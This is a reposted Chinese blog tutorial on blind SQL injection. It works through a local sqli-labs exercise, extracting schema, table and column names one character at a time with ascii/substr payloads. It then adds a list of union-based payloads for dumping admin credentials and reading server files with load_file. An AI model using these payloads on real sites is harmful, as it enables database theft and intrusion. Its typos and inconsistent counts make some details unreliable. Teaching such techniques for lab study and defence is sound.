SQL注入

转载 · 大棟哥 · 2020-06-30 · 原文

0x00背景

首先说一下什么事sql盲注,sql盲注是sql注入的一种,和联合查询注入,以及带显示位注入以及报错注入不同的是,sql盲注既没有显示位,也没有报错,只能根据存在的数据库,通过一个字符一个字符的爆数据库名,爆表名,爆字段名,爆内容,最终获得自己想要的结果,这需要非常大的耐心​,由于是一个字符一个字符爆的,时间可想而知、、、

0x01SQL注入的原理

官话:

SQL注入攻击主要是通过构建特殊的输入,这些输入往往是SQL语法中的一些组合,这些输入将作为参数传入WEB应用程序,通过执行SQL语句而执行入侵者想要的操作,主要还是由于程序对用户输入的数据没有进行细致的过滤使攻击者绕过认证机制,完全控制远程服务器的数据库

SQL注入是利用代码设计上的漏洞,在目标服务器上运行SQL语句以及进行其他方式的攻击,主要原因是动态生成SQL语句时没有对用户输入的数据进行验证过滤,对于JAVA数据库连接JDBC,SQL注入攻击只对Statement有效,对PrepareStatement无效,因为它不允许在不同的插入时间改变查询逻辑结构

土话:

程序员写代码的时候打盹了,母牛进行严格的数据过滤​,(xx啊,你可长点心吧、)

0x02正文

依然那么喜欢单刀直入​,闲话就不啰嗦了!

首先在盲注中要用到四个函数

1、exists()

  • 存在的话返回结果为:1(true)
  • 不存在的话返回结果:0(false)

2、length()

  • 盲注之前要知道注入对象的长度(有多少个字符)

3、substr(string, startposition, charactersreturn)

4、ascii()

  • 返回字符串最左边字符的ascii码

ascii()结合substr()使用 爆出每一个字符

说明:实验环境搭建在本地,为了节约时间,实验过程中在对结果进行了对比,为了更为直观的观察

1.判断表存不存在

exists (select * from infrmation_schema.tables)

http://127.0.0.1/sqli/Less-5/
?id=1'

and  exists(select * from information_schema.tables)

--+

返回结果正常说明表存在

1 判断
2 判断存在多少个库

select count(distinct+table_schema) from information_schema.tables

 http://127.0.0.1/sqli/Less-5/

?id=1'

and  (select count(distinct+table_schema) from information_schema.tables)>15

 --+

取15时返回正常

2 统计库

http://127.0.0.1/sqli/Less-5/

?id=1'

and  (select count(distinct+table_schema) from information_schema.tables)>20

 --+

取20时返回错误,使用二分法一步一步猜解,最终结果为

3 统计库
验证结果:

http://127.0.0.1/sqli/Less-5/

?id=1'

and  (select count(distinct+table_schema) from information_schema.tables)=17

 --+

返回正常,说明含有17个库:

4 结果
3 判断库名的长度:

select length(table_schema) from information_schema.tables limit 0,1

 http://127.0.0.1/sqli/Less-5/

?id=1'

and (select length(table_schema) from information_schema.tables limit 0,1) >17

 --+

17返回正常,18返回错误,说明第一个第一个库长度为18

5 判长度
4 接下来爆每个库的库名

http://127.0.0.1/sqli/Less-5/

?id=1'

and  (select ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),1,1)))>104

 --+

104返回结果正常

6 猜字符

http://127.0.0.1/sqli/Less-5/

?id=1'

and  (select ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),1,1)))>105

 --+

105返回结果不正常说明

第一个库的第一个字符ascii为:105

7 猜解库的第二个字符:

http://127.0.0.1/sqli/Less-5/

?id=1'

and  (select ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),2,1)))>110

 --+

110返回错误,109返回正常,说明第二个字符ascii码为:110

8 猜解第三个字符:

http://127.0.0.1/sqli/Less-5/

?id=1'

and  (select ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),3,1)))>101

 --+

101返回正常,102返回错误说明第三个字符ascii码为102

9 以此类推

验证一下猜到的库对不对 105 110 101分别对应i n f

完全符合结果:

10
5.猜完库 接下来猜表

select table_name from information_schema.tables where table_schema=’information_schema’

首先判断表的长度

select length(table_name) from information_schema.tables where table_schema=’information_schema’ limit 0,1

http://127.0.0.1/sqli/Less-5/

?id=1'

and (select length(table_name) from information_schema.tables where table_schema='information_schema' limit 0,1) >13

 --+

13正常,14异常,说明第一个表的长度为14,左边为在mysql中验证结果

11
6 判断完表的长度之后就要开始猜解表的字符

select ascii(substr((select table_name from information_schema.tables where table_schema=’information_schema’ limit 0,1),1,1))

http://127.0.0.1/sqli/Less-5/

?id=1'

and (select ascii(substr((select table_name from information_schema.tables where table_schema='information_schema' limit 0,1),1,1))) >66

 --+

66正常,67异常,第一个字符的ascii为:67

12

 http://127.0.0.1/sqli/Less-5/

?id=1'

and (select ascii(substr((select table_name from information_schema.tables where table_schema='information_schema' limit 0,1),2,1))) >71

 --+

71正常,72异常,第二个字符的ascii为:72

13
。。。。。。。。。。。。。。。

一直猜解到14

(select ascii(substr((select table_name from information_schema.tables where table_schema='information_schema' limit 0,1),14,1)))

14

前4个字符分别为67 72 65 82 对应C H A R

查看数据库结果为:

15
7 再接下来猜解表里边的字段即列:

首先统计一下有多少个字段

select count(column_name) from information_schema.columns where table_schema=’information_schema’ and table_name=’CHARACTER_SETS’

http://127.0.0.1/sqli/Less-5/

?id=1'

and (select count(column_name) from information_schema.columns where table_schema='information_schema' and table_name='CHARACTER_SETS' ) >4

 --+

3,正常 4,异常 说明这个CHARACTER_SETS表中含有4个字段

16
8 判断每个字段的长度

select length(column_name) from information_schema.columns where table_schema=’information_schema’ and table_name=’CHARACTER_SETS’ limit 0,1

http://127.0.0.1/sqli/Less-5/

?id=1'

and (select length(column_name) from information_schema.columns where table_schema='information_schema' and table_name='CHARACTER_SETS' limit 0,1 ) >17

 --+

17正常,18异常,说明第一个字段长度为18

17
接下来猜第一个字段的字符:

select ascii(substr((select column_name from information_schema.columns where table_schema=’information_schema’ and table_name=’CHARACTER_SETS’ limit 0,1),1,1))

http://127.0.0.1/sqli/Less-5/

?id=1'

and (select ascii(substr((select column_name from information_schema.columns where table_schema='information_schema' and table_name='CHARACTER_SETS' limit 0,1),1,1)) ) >66

 --+

66正常,67异常 第一个字符为:67

18
。。。。。。。。。。。。。。。。。。。。。。。。
依次爆到第18个字符:

select ascii(substr((select column_name from information_schema.columns where table_schema=’information_schema’ and table_name=’CHARACTER_SETS’ limit 0,1),18,1))

mysql> select column_name from information_schema.columns where tab

+--------------------+
| column_name        |
+--------------------+
| CHARACTER_SET_NAME |
+--------------------+
1 row in set (0.01 sec)

0x03SQL注入的危害

通过SQL注入攻击可以拿到网站数据库的访问权限,之后就可以拿到数据库的所有数据,恶意的黑扩通过SQL注入功能篡改数据库中的数据甚至恶意毁坏数据!

0x04
game over


补充:

通过 union 或 order by 确定当前数据库的字段数目

http://www.target.com/article.php?id=1 union select 1,2,3,4,5,6,N
http://www.target.com/article.php?id=1 order by N 确定当前数据库字段数目为N个

猜解当前数据库表名

http://www.target.com/article.php?id=1 union select 1,2,3,4,5,6,N from admin 猜解出存在[admin]表

报出数据库数据

http://www.target.com/article.php?id=1 union select 1,username,3,password,4,5,6,N from admin 猜解出[admin]表里字段的数据

报出表中字段的其他信息

http://www.target.com/article.php?id=1 union select 1,username,3,password,4,5,6,N from admin where id=N 报出该字段第N条记录

判断当前数据库是否为 root 权限

http://www.target.com/article.php?id=1 and ord(mid(user(),1,1))114/*

判断是否具有文件读写权限

http://www.target.com/article.php?id=1 and (select count(*) from mysql.user)>0

报出数据库系统信息

http://www.target.com/article.php?id=1 and select 1,user(),3,version(),5,session_user(),7,database(),8,current_user()

读取文件

十六进制方式

http://www.target.com/article.php?id=1 union select 1,load_file(Ox633A2F626F6F742E696E69),3,4,5,6 读取c:\boot.ini文件

ASCII码方式

http://www.target.com/article.php?id=1 union select 1,load_file(读取文件的路径的ASCII码),3,4,5,6 读取文件